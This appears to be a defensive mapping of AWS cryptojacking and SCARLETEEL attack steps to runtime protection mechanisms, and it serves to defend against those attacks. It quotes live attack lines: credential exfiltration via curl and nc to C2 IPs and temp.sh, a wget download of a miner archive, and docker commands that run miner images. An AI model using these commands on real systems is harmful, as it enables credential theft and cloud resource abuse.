  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap), leveraging NSJail, could prevent the python3, ./start, or ./test processes from starting within the build container if they are not explicitly authorized by the defined policy.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply if the Amplify build environment allows modifications to the underlying host filesystem outside of package managers, and the miner/scripts were written there before execution. It blocks execution of files added outside trusted package managers.
• Attacker enables auto-build (--enable-branch-auto-build) and potentially uses update.sh or ulang.sh scripts to continuously trigger builds/re-runs, ensuring the miner executes repeatedly within AWS build instances. (Cited from: "It is also interesting to see how they enable auto-build", "the repo code is updated with the update.sh script so that they are deployed again.", "The final entrypoint script, ulang.sh, runs restart.sh for every region. This script simply queries all the jobs of all the Amplify apps and, if their status is different from "RUNNING" and "PENDING," it re-runs them.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applicable on each re-run/build trigger for the same reasons as the previous step: it blocks the execution of unauthorized binaries/scripts (test, index.py, etc.) within the build container.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply on each re-run if the execution paths are not allowed.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply on each re-run if the processes are on the deny list.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could block the unauthorized processes on each re-run.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply on each re-run if files are written to the host filesystem outside package managers.

​

F2: Utilizing AWS ECS Fargate for cryptojacking by deploying container tasks running miner images.

• Attacker obtains AWS credentials. (Implicit)
• Attacker creates an IAM role (ecsTaskExecutionRole) allowing the ECS tasks service (ecs-tasks.amazonaws.com) to assume it. (Cited from: "the ecs.sh script starts creating the role, "ecsTaskExecutionRole"")
• Attacker attaches administrative and ECS-specific policies (AdministratorAccess, AmazonECS_FullAccess, AmazonECSTaskExecutionRolePolicy) to the ecsTaskExecutionRole. (Cited from: "Then, it attaches the "AdministratorAccess", "AmazonECS_FullAccess," and "AmazonECSTaskExecutionRolePolicy" policies to it.")
• Attacker defines an ECS task (task.json) specifying a malicious Docker image (e.g., delbidaluan/epicx) containing a cryptominer, setting compute resources (2 vCPU, 4 GB RAM), and configuring it to run on Fargate (\"requiresCompatibilities\": [ \"FARGATE\" ]). (Cited from: "After that, it writes an ECS task definition where the image used to start the container is delbidaluan/epicx, a miner image belonging to the same Docker Hub user.", "The resources are set so that the container has 2 vCPu and 4 GB of memory. It is also configured to run on Fargate...")
  • BR-47: Container Capability Control - This mechanism could apply by enforcing policies that restrict the capabilities allowed for containers running in ECS/Fargate. If the miner requires specific capabilities (e.g., related to performance monitoring or network access) that are disallowed by policy, the container might fail to run correctly or be blocked.
  • BR-67: Container Root User Control - This mechanism (Status: Roadmap) could detect and block the container if the miner process attempts to run as root (and is not the init process).
  • BR-57: Cluster Drift Protection - This mechanism (Status: Planned) could potentially detect the creation of ECS tasks/services if they are orchestrated in a way that bypasses an expected control plane (e.g., if integrated with Kubernetes and bypassing the K8s API), though its direct applicability depends on the specific environment setup and how ECS tasks are managed.
  • BR-61: Container Runtime Socket Protection - This mechanism is less likely applicable here as Fargate abstracts the underlying host and runtime socket, but if the attacker somehow gained access to the underlying infrastructure and tried interacting with the runtime socket, it could apply.
• Attacker creates an ECS cluster (e.g., test) configured for Fargate capacity providers in multiple regions. (Cited from: "It creates an ECS cluster in Fargate")
• Attacker registers the malicious task definition within the cluster. (Cited from: "It registers the previous task definition")
• Attacker queries the Fargate On-Demand vCPU service quota (aws service-quotas get-service-quota --service-code fargate --quota-code L-3032A538). (Cited from: "It queries the quota of Fargate On-Demand vCPU available")
• Attacker creates an ECS service (e.g., test) using the registered task definition, setting the desiredCount based on the queried quota (e.g., 30 or 6 instances) to maximize miner deployment within limits. (Cited from: "creates an ECS service according to that result: If the quota equals 30.0, the "desiredCount" of the service is set to 30. Otherwise, the "desiredCount" of the service is set to 6.", "aws ecs create-service --cluster test --service-name test --task-definition test:1 --desired-count $COUNT")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies when the container specified in the task definition (delbidaluan/epicx) starts. It monitors execution attempts within the running container. If the miner binary was not part of the original base image layers but is perhaps downloaded or unpacked at runtime within the container, or if additional scripts are executed, BR-54 would block their execution.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply inside the running Fargate container if the miner's execution path is not on the allow list.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply inside the running Fargate container if the miner process name/path is on the deny list.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) could prevent the miner process inside the Fargate container from making outbound network connections to its mining pool if the process is not on the socket allow list.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could prevent the miner process from starting inside the Fargate container if it's not authorized by the NSJail policy.
  • BR-57: Cluster Drift Protection - This mechanism (Status: Planned) might apply here if the service creation bypasses expected Kubernetes control plane interactions, detecting the unauthorized deployment of workloads.
  • BR-61: Container Runtime Socket Protection - Less likely applicable due to Fargate abstraction, but could apply if the container somehow tries to interact with a runtime socket.

​

F3: Abusing AWS CodeBuild for cryptojacking by running miners within the CI build environment.

• Attacker obtains AWS credentials and potentially sets up a CodeCommit repository (test) with miner code if not done via F1. (Implicit, Cited from: "create three new projects in each region with the previously created repository")
• Attacker creates multiple CodeBuild projects (e.g., tost, tost1, tost2) in various regions. (Cited from: "attackers create three new projects in each region")
• Attacker configures the CodeBuild projects to use the CodeCommit repository (test) containing the miner (index.py, time scripts) as the source. (Cited from: "--source '{"type": "CODECOMMIT","location": "https://git-codecommit.ap-south-1.amazonaws.com/v1/repos/test"...}'")
• Attacker modifies the build specification (buildspec) within the project configuration to execute the miner scripts (python3 index.py, ./time) during the build phase. (Cited from: ""buildspec": "version: 0.2\nphases:\n build:\n commands:\n - python3 index.py\n - ./time"...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies as CodeBuild runs builds in containers. If index.py, ./time, or the miner binary executed by index.py (./test) are downloaded or introduced during the build and were not part of the base CodeBuild image (aws/codebuild/amazonlinux2-x86_64-standard:4.0), BR-54 would block their execution.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply if the execution paths for python3 or the miner scripts/binary within the build container are not on the allow list.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply if python3 or the miner binary name is on the deny list for this environment.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could prevent the unauthorized miner processes (python3, ./test) from starting within the CodeBuild container.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply if the CodeBuild environment allows writing executable files to the host outside of package managers before execution.
• Attacker configures the build environment (e.g., aws/codebuild/amazonlinux2-x86_64-standard:4.0, BUILDGENERAL1LARGE) and sets a long timeout (--timeout-in-minutes 480) to maximize miner runtime. (Cited from: "--environment '{"type": "LINUXCONTAINER","image": "aws/codebuild/amazonlinux2-x8664-standard:4.0","computeType": "BUILDGENERAL1LARGE"...}'", "--timeout-in-minutes 480")
• Attacker starts the CodeBuild projects (aws codebuild start-build --project-name tost), causing AWS to provision build instances that execute the embedded miner commands. (Cited from: "aws codebuild start-build --project-name tost1")
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applies upon build start for the same reasons as in the previous mitigated step: blocks execution of unauthorized scripts/binaries introduced during the build.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply if execution paths are disallowed.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply if executed processes are denied.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could block unauthorized processes upon start.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply if files are written to the host before execution.

​

F4: Employing AWS CloudFormation and EC2 Image Builder for cryptojacking by embedding miner execution in the image build lifecycle.

• Attacker obtains AWS credentials. (Implicit)
• Attacker creates CloudFormation stacks in multiple regions. (Cited from: "The attackers’ scripts create several CloudFormation stacks")
• Within the CloudFormation template, attacker defines an AWS::ImageBuilder::Component resource. (Cited from: "a template that defines an EC2 Image Builder component.")
• Attacker embeds commands within the Data section of the Image Builder component, specifically in the build and validate phases (action: ExecuteBash), to download (wget), unzip, and execute the cryptominer (./start, ./time). (Cited from: "Within this component, they put commands to run a miner during the build phase of the image.", "phases: - name: build steps: - name: donStep action: ExecuteBash inputs: commands: - sudo yum install wget unzip -y && wget --no-check-certificate https://github.com/meuryalos/profile/releases/download/1.0.0/test.zip && sudo unzip test.zip", "- name: validate steps: - name: buildStep action: ExecuteBash inputs: commands: - sudo ./start - sudo timeout 48m ./time")
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) is directly applicable as it defaults to blocking processes ending in /wget. It would prevent the wget command from running within the Image Builder environment.
  • BR-80: Tainted File Download Protection - This mechanism (Status: Roadmap) specifically targets scenarios where files (like test.zip) are downloaded using tools like wget and then executed (implicitly via ./start after unzip). It would alert and block this sequence.
  • BR-54: Container Drift Protection (Binaries & Scripts) - Image Builder runs builds in temporary EC2 instances or containers. If the downloaded test.zip contains the miner binary (test or similar executed by start) or the start/time scripts themselves, and these are executed within a containerized build step, BR-54 would block their execution as they weren't part of the original build environment image.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply if wget, unzip, ./start, or ./time are executed from paths not on the allow list within the build environment.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could block the execution of wget, unzip, ./start, or ./time if they are not authorized processes in the build environment's policy.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply if the build happens on a host environment and wget, unzip, start, time, or the miner binary are written to the filesystem outside of package manager control before execution.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) could apply if the build process writes the downloaded/unzipped files to the host filesystem and then tries to execute them, provided the build process itself isn't on the allow list for executing new/modified host files.
• Attacker specifies suitable instance types (e.g., c5.xlarge, r5.xlarge) for the Image Builder process within the CloudFormation template. (Cited from: "BuildInstanceType: Type: CommaDelimitedList Default: "c5.xlarge,c5a.xlarge,r5.xlarge,r5a.xlarge"")
• Attacker creates multiple EC2 Image Builder Pipelines (e.g., 8 per region) using the component defined via CloudFormation. (Cited from: "Then, it creates eight EC2 image pipelines")
• Attacker schedules the pipelines to run frequently (e.g., every minute: cron( 0/1  * ?)), ensuring continuous execution of the miner within temporary build instances. (Cited from: "scheduleExpression": "cron( 0/1  * ?)", "pipelineExecutionStartCondition": "EXPRESSIONMATCHONLY"")
  • BR-90: Process Exec Deny - Applicable on each pipeline run, blocking wget.
  • BR-80: Tainted File Download Protection - Applicable on each pipeline run, blocking the download-then-execute pattern.
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applicable on each pipeline run if builds are containerized, blocking execution of downloaded/unpacked miner/scripts.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply on each run if paths are disallowed.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could block unauthorized processes on each run.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply on each run if host filesystem is modified outside package managers.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) could apply on each run if host filesystem is modified and executed by non-allowlisted processes.

​

F5: Using EC2 Auto Scaling Groups with malicious UserData for cryptojacking.

• Attacker obtains AWS credentials. (Implicit)
• Attacker creates an EC2 Launch Template (e.g., task) in multiple regions. (Cited from: "The script scale.sh creates the following EC2 launch template for each region")
• Attacker specifies an AMI (e.g., Amazon Linux 2) and instance requirements (e.g., 4+ vCPU, 8GB+ RAM) in the launch template. (Cited from: "The instance AMI is Amazon Linux 2, with the minimum requirements set to 4 vCPU and 8 GB of memory.")
• Attacker embeds a Base64 encoded script in the UserData field of the launch template. (Cited from: "'UserData': '$SCRIPT'")
• The decoded UserData script installs Docker, starts the Docker service, pulls a malicious miner image (e.g., delbidaluan/epicx), and runs it in detached mode. (Cited from: "sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/epicx && sudo docker run -d delbidaluan/epicx")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This applies once the docker run command starts the delbidaluan/epicx container. It will monitor processes executed inside that container. If the container image itself contains the miner ready to run, BR-54 might not block the initial miner process if it was part of the image layers. However, if the container entrypoint/cmd downloads additional scripts/binaries or modifies existing ones before execution, BR-54 would block those.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply to the yum, service, docker commands executed by UserData on the host if their paths are not allowed by host policy. It could also apply inside the container if the miner's path is disallowed.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply to the host commands (yum, service, docker) or the miner process inside the container if they are on the deny list.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could potentially block the yum, service, or docker commands on the host, or the miner process inside the container, if they are not authorized.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply. The UserData script installs docker via yum (likely trusted), but the subsequent docker pull and docker run result in new container layers and running processes derived from them. If BR-62 considers container image layers pulled post-boot as 'drift' outside package managers, it might block the execution originating from within the container.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) might apply if the docker run command is executed by a host process not on the allowlist, or if the container itself tries to execute new/modified files on the host.
  • BR-47: Container Capability Control - Could apply to the container started by docker run, restricting its capabilities.
  • BR-67: Container Root User Control - This mechanism (Status: Roadmap) could apply if the process inside the delbidaluan/epicx container runs as root.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) could block the docker pull command if the docker process is denied network access. It could also block the miner inside the container from reaching its pool.
• Attacker creates multiple EC2 Auto Scaling Groups (e.g., task, task1) using the configured launch template. (Cited from: "Then, the script creates two auto scaling groups, named "task" and "task1", that spin up instances using the previous launch template")
• Attacker configures the Auto Scaling Groups to maintain a desired capacity (e.g., 8 instances each) using a mix of On-Demand and Spot instances to balance cost and availability. (Cited from: "Each group includes eight instances: the first group has only On-Demand Instances... while the second group has only Spot Instances...", ""MinSize":8,"MaxSize":8,"DesiredCapacity":8")
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applies to the containers started on each new instance launched by the ASG.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) applies to host UserData commands and container processes on each new instance.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) applies to host UserData commands and container processes on each new instance.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) applies to host UserData commands and container processes on each new instance.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) applies to the host environment of each new instance.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) applies to the host environment of each new instance.
  • BR-47: Container Capability Control - Applies to containers on each new instance.
  • BR-67: Container Root User Control - This mechanism (Status: Roadmap) applies to containers on each new instance.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) applies to relevant processes on each new instance.

​

F6: Exploiting Amazon SageMaker Notebook Instances for cryptojacking via lifecycle configurations.

• Attacker obtains AWS credentials. (Implicit)
• Attacker creates an IAM role (sugo-role) granting sagemaker.amazonaws.com the ability to assume the role and attaches the AmazonSageMakerFullAccess policy. (Cited from: "Finally, amplify-role.sh creates another role, "sugo-role," with full access to SageMaker", "aws iam attach-role-policy --role-name sugo-role --policy-arn arn:aws:iam::aws:policy/AmazonSageMakerFullAccess")
• Attacker runs a script (e.g., note.sh) to create SageMaker notebook instances (e.g., type ml.t3.medium) in multiple regions. (Cited from: "For each region, the attacker runs note.sh. This script creates a SageMaker notebook instance with type ml.t3.medium.")
• Attacker defines a lifecycle configuration for the notebook instances. (Cited from: "users can define a lifecycle configuration, which is a collection of shell scripts")
• Attacker embeds a Base64 encoded script within the OnStart field of the lifecycle configuration. (Cited from: "The "OnStart" field in the configuration contains "a shell script that runs every time you start a notebook instance," and here they inserted the following commands encoded in base64 to run the miner")
• The decoded OnStart script installs Docker, starts the Docker service, pulls a malicious miner image (e.g., delbidaluan/note), and runs it in detached mode. (Cited from: "sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/note && sudo docker run -d delbidaluan/note")
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applies to the delbidaluan/note container once started by the OnStart script. It monitors and blocks unauthorized execution within the container, similar to the ECS/EC2 cases.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply to the yum, service, docker commands run by the OnStart script on the notebook instance host, or to the miner process within the container, if paths are disallowed.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply to the host commands or the container miner process if they are on the deny list.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could block the host commands or the container miner process if they are unauthorized.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) could apply to the notebook instance host. It might block execution of docker commands or processes originating from the pulled image if they are considered drift.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) could apply if the OnStart script (or the container) attempts to execute new/modified files on the host filesystem and the executing process is not allowlisted.
  • BR-47: Container Capability Control - Could apply to the container started by docker run, restricting its capabilities.
  • BR-67: Container Root User Control - This mechanism (Status: Roadmap) could apply if the process inside the delbidaluan/note container runs as root.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) could block the docker pull or the miner's network activity.
• Attacker starts the notebook instances, causing the OnStart script to execute the miner on the provisioned compute instances. (Implicit from creating and configuring OnStart)
  • BR-54: Container Drift Protection (Binaries & Scripts) - Applies when the container starts on the notebook instance.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) applies to host commands and container processes on start.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) applies to host commands and container processes on start.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) applies to host commands and container processes on start.
  • BR-62: Linux/Host Drift Protection - This mechanism (Status: Roadmap) applies to the notebook instance host environment.
  • BR-65: Container Host Drift Prevention - This mechanism (Status: Roadmap) applies to the notebook instance host environment.
  • BR-47: Container Capability Control - Applies to the container upon start.
  • BR-67: Container Root User Control - This mechanism (Status: Roadmap) applies to the container upon start.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) applies to relevant processes upon start.

​

F7: Initial Docker Hub based cryptojacking before pivoting to AWS services.

• Attacker creates multiple accounts on Docker Hub (e.g., delbidaluan, tegarhuta, rizal91, etc.). (Cited from: "Below is the list of known Docker Hub users related to this operation.")
• Attacker initially pushes basic container images containing unobfuscated cryptominers to Docker Hub. (Cited from: "Most of these accounts started with very basic container images running a cryptominer.", "Before creating their Github account, the attacker used the cryptominer binaries without any obfuscation.")
• Attacker creates GitHub repositories (e.g., toolbar, romy, profile) to host cryptominer binaries, often packed (UPX) and malformed, downloadable as releases (e.g., test.zip). (Cited from: "when they created a GitHub account.", "Their repositories don’t have any source code (yet) but they do provide the miners inside archives downloadable as releases.", "Those binaries are usually called "test," packed with UPX and malformed")
• Attacker updates Docker Hub images (e.g., those ending in 'x' like delbidaluan/epicx) to download miners from their GitHub repository releases during container startup. (Cited from: "We have deduced that the images ending with “x” download the miners from the attackers’ repository releases and run them when launched, which can be seen in the layers.")
• Attacker promotes or relies on users pulling and running these malicious Docker images (e.g., delbidaluan/epicx had over 100,000 downloads), leading to cryptomining on the user's infrastructure. (Cited from: "The epicx image, in particular, has over 100,000 downloads.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is highly relevant. When a user runs an image like delbidaluan/epicx, if the container's entrypoint downloads the miner (test) from GitHub and then executes it, BR-54 would block this execution because the test binary was not part of the original image layers.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could block the downloaded miner if it's saved to and executed from a path not on the container's allow list.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could block common download tools (like curl, wget if used in the entrypoint) or the miner process itself.
  • BR-80: Tainted File Download Protection - This mechanism (Status: Roadmap) could apply if the entrypoint uses curl or wget to download the miner (test.zip or binary) and then executes it.
  • BR-87: Process Socket Deny - This mechanism (Status: Idea) could block the download command (e.g., curl, wget) or the miner's connection to the pool.
  • BR-82: Process Runtime Execution Guardrails - This mechanism (Status: Roadmap) could prevent the download tool or the miner process from starting if unauthorized.
• Attacker eventually pivots from relying solely on Docker Hub images to exploiting various AWS services directly using compromised credentials, as detailed in other sequences (F1-F6). (Cited from: "However, they eventually switched over to the AWS-specific services described in this research.", "The images without the final "x" run the scripts targeting AWS.")

F1: Initial compromise via vulnerable services and AWS credential theft using IMDSv1 and script-based exfiltration.

• Attacker exploits vulnerable compute services, specifically JupyterLab notebook containers deployed in a Kubernetes cluster, to gain initial access. (Cited from: "After exploiting some JupyterLab notebook containers deployed in a Kubernetes cluster, the SCARLETEEL operation proceeded with multiple types of attacks.", "Their preferred method of entry is exploitation of open compute services and vulnerable applications.")
• Attacker deploys scripts (.a.i.sh) designed to steal AWS credentials. (Cited from: "The actor leveraged several versions of scripts that steal credentials...", "Analysis of the script .a.i.sh")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of any new executable binaries or scripts (like .a.i.sh) that were not part of the original container image at load time. If the script was introduced post-deployment, BR-54 would block its execution.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the attacker places the credential stealing script in a directory not specified in the execution allowlist (e.g., /tmp), any attempt to execute it via exec() would be blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable because if the script's name or path (e.g., ending in .sh or matching a specific name) is added to the deny list, its execution via exec() would be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the script is deployed and run on the host level (outside a container) and wasn't installed via a trusted package manager. It would block execution.
• The script searches for AWS credentials by querying the instance metadata service (IMDSv1). (Cited from: "Those scripts search for AWS credentials in different places: by contacting the instance metadata (both IMDSv1 and IMDSv2)...", "In the containers which were using IMDSv1, the attackers succeeded in stealing the AWS credentials.")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable because it specifically controls access to the AWS Instance Metadata Service (IMDS). It can enforce policies to block or restrict requests to IMDSv1, preventing the script from retrieving credentials via this method.
  • BR-87: Process Socket Deny - This mechanism is applicable because querying the IMDS endpoint requires network socket operations. If the script process (e.g., bash, curl, or a custom binary) is denied socket access by policy, it cannot reach the IMDS endpoint at 169.254.169.254.
• The script also searches for credentials within the filesystem and inside Docker containers on the target machine, even non-running ones. (Cited from: "in the filesystem, and in the Docker containers created in the target machine (even if they are not running)", "The getawsdata() function also searches for credentials in all Docker containers in the target machine (even if they are not running) and in the filesystem")
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable because if the credentials reside within critical data directories protected by this policy, and the credential stealing script (or tools it uses like find, cat, grep) is not on the allowlist of binaries permitted access, the read attempt would be blocked.
  • BR-91: Sensitive File Access - This mechanism is applicable because it monitors access to files designated as sensitive. If common credential file paths (e.g., ~/.aws/credentials, /root/.docker/config.json) or patterns are included in the policy, attempts by the script to open() these files can be blocked or alerted upon.
  • BR-75: Critical Directory Write Protection - This mechanism is less directly applicable to reading credentials but could be relevant if the attacker attempts to modify configuration files or write discovered credentials to a location within a protected critical directory.
• The script attempts to use IMDSv2 by first retrieving a session token, but fails due to the default hop limit of 1 in the container environment. (Cited from: "In some versions of the script, it tried to exploit IMDSv2 to retrieve the credentials... Specifically, the first call is used to retrieve the session token... However, this attempt failed because the target machine was a container inside an EC2 instance with the default hop limit set to 1.")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable because, even though the attack failed due to the hop limit, BR-59 provides policy control over IMDS access. It could be configured to enforce IMDSv2 usage (blocking v1) and potentially add further restrictions on token requests or usage (e.g., source IP, process), providing defense-in-depth regardless of the hop limit configuration.
  • BR-87: Process Socket Deny - This mechanism is applicable because retrieving the IMDSv2 token and using it requires network socket operations. If the script process is denied socket access, it cannot make requests to the IMDS endpoint.
• The script base64 encodes the stolen credentials. (Cited from: "sends the Base64 encoded stolen credentials to the C2 IP Address.", "SENDB64DATA=$(cat $CSOF | base64 -w 0)")
• The script exfiltrates the encoded credentials using shell built-ins (e.g., redirection with dload function or nc) and curl to specific C2 IP addresses (e.g., 45[.]9[.]148[.]221, 175[.]102[.]182[.]6) and public paste/upload services (termbin.com via 5[.]39[.]93[.]71:9999, temp.sh). (Cited from: "dload http://45.9.148.221/in/in.php?base64=$SENDB64DATA", "curl -sLk -o /dev/null http://175.102.182.6/.bin/in.php?base64=$SENDB64DATA", "SENDAWSDATANC=$(cat $CSOF | nc 5.39.93.71 9999)", "SENDAWSDATACURL=$(curl --upload-file $CSOF https://temp.sh)")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent specified processes (like bash, sh, nc, curl) from initiating outgoing network connections or using sockets. If the policy denies socket access for these processes, exfiltration via direct C2 connection or upload services will fail.
  • BR-90: Process Exec Deny - This mechanism is applicable because if nc or curl are explicitly added to the process execution deny list (based on name or path suffix), the script's attempt to execute them would be blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the nc or curl binaries used by the script reside in paths not included in the allowlist, their execution would be blocked.
  • BR-55: Reverse Shell Protection - This mechanism is potentially applicable if nc is used to establish an interactive reverse shell for manual data transfer, as it blocks shell FDs from binding to network sockets. However, the description implies automated exfiltration, making BR-87 more directly relevant.
• The script attempts to remove traces by deleting temporary files and clearing history. (Cited from: "Finally, the script removes the evidences of the attack, calling the notraces() bash function:", "rm -f $CSOF")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the attacker attempts to delete or modify files (like logs or temporary script files) located within directories designated as critical and write-protected by policy.
  • BR-52: Data Resource Mandatory Access Control - This mechanism is applicable if the files to be deleted are within protected data directories and the script/tool used for deletion (rm, shred, etc.) is not on the list of allowed binaries.
  • BR-91: Sensitive File Access - This mechanism is applicable if specific log files or temporary file locations are designated as sensitive. Attempts to modify or delete them could be blocked or alerted.
  • BR-25: Read-Only File Protection - This mechanism is applicable if the attacker specifically tries to use a pipe-based technique (like Dirty Pipe) to modify or delete files that are otherwise marked read-only (e.g., certain system logs).

​

F2: Post-credential theft activity including AWS privilege escalation via policy misconfiguration and persistence establishment.

• Attacker obtains initial AWS credentials belonging to a node role via IMDSv1 compromise. (Cited from: "After collecting the AWS keys of the node role via instance metadata...", "In the containers which were using IMDSv1, the attackers succeeded in stealing the AWS credentials.")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable because it controls access to the IMDS, potentially blocking the initial credential theft via IMDSv1.
  • BR-87: Process Socket Deny - This mechanism is applicable because accessing IMDS requires network sockets; denying socket access to the process attempting the query blocks credential theft.
• Attacker installs AWS CLI and Pacu tools onto the compromised container. (Cited from: "Next, they installed AWS CLI binary and Pacu on the exploited containers...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because it prevents the execution of new binaries (AWS CLI, Pacu) if they were not part of the original container image.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it blocks the execution of AWS CLI or Pacu if they are installed or executed from a filesystem path not included in the configured allowlist.
  • BR-90: Process Exec Deny - This mechanism is applicable because if AWS CLI (aws) or Pacu are added to the deny list, their execution will be blocked.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if these tools are installed on the host outside of a container and not via a trusted package manager.
• Attacker configures the installed tools with the stolen credentials. (Cited from: "...and configured them with the retrieved keys.")
• Attacker uses Pacu for automated reconnaissance and discovery of privilege escalation paths within the victim's AWS account. (Cited from: "They used Pacu to facilitate the discovery and exploitation of privilege escalations in the victim’s AWS account.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the Pacu binary itself (as in step 2).
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of Pacu (as in step 2).
  • BR-90: Process Exec Deny - This mechanism applies to the execution of Pacu (as in step 2).
  • BR-87: Process Socket Deny - This mechanism is applicable because Pacu needs to make AWS API calls over the network. If the Pacu process (or the AWS CLI it likely uses) is denied socket access, the reconnaissance and exploitation attempts will fail.
• Attacker attempts to create access keys for all admin users, discovering a specific user (AdminJoe) that bypasses a restrictive IAM policy due to inconsistent naming (Admin vs admin). (Cited from: "they tried to create access keys for all admin users... One of the accounts was inadvertently named inconsistently... This resulted in the following policy being bypassed by the attackers... Therefore, they managed to gain access to the “AdminJoe” user by creating access keys for it.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the tool (e.g., AWS CLI) making the CreateAccessKey API call.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of the tool making the API call.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of the tool making the API call.
  • BR-87: Process Socket Deny - This mechanism applies by potentially blocking the network connection needed for the API call, if the executing process is denied socket access.
• Attacker successfully creates access keys for the AdminJoe user, gaining AdministratorAccess privileges. (Cited from: "Therefore, they managed to gain access to the “AdminJoe” user by creating access keys for it.", "Once the attacker obtained the admin access...")
• Using the obtained admin privileges, the attacker creates new IAM users (e.g., aws_support) and generates new access keys for existing users, including admins, to establish persistence. (Cited from: "Using the new admin privileges, the adversary created new users and a new set of access keys for all the users in the account, including admins. One of the users created was called “aws_support”...")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism applies to the execution of the tool (e.g., AWS CLI) making the IAM API calls.
  • BR-88: Process Path Exec Allow - This mechanism applies to the execution of the tool making the API calls.
  • BR-90: Process Exec Deny - This mechanism applies to the execution of the tool making the API calls.
  • BR-87: Process Socket Deny - This mechanism applies by potentially blocking the network connections for the API calls.
  • BR-67: Container Root User Control - This mechanism is applicable if the attacker attempts persistence by running new processes as root inside a container (other than pid 0/init). This mechanism would detect and potentially block such processes.
• Attacker switches to the newly created user (aws_support) to conduct further reconnaissance. (Cited from: "One of the users created was called “aws_support” which they switched to in order to conduct reconnaissance.")

​

F3: Cryptojacking operation using escalated AWS privileges.

• Attacker gains AdministratorAccess privileges in the victim's AWS account (as detailed in F2). (Cited from: "Once the attacker obtained the admin access...", "With the admin access...")
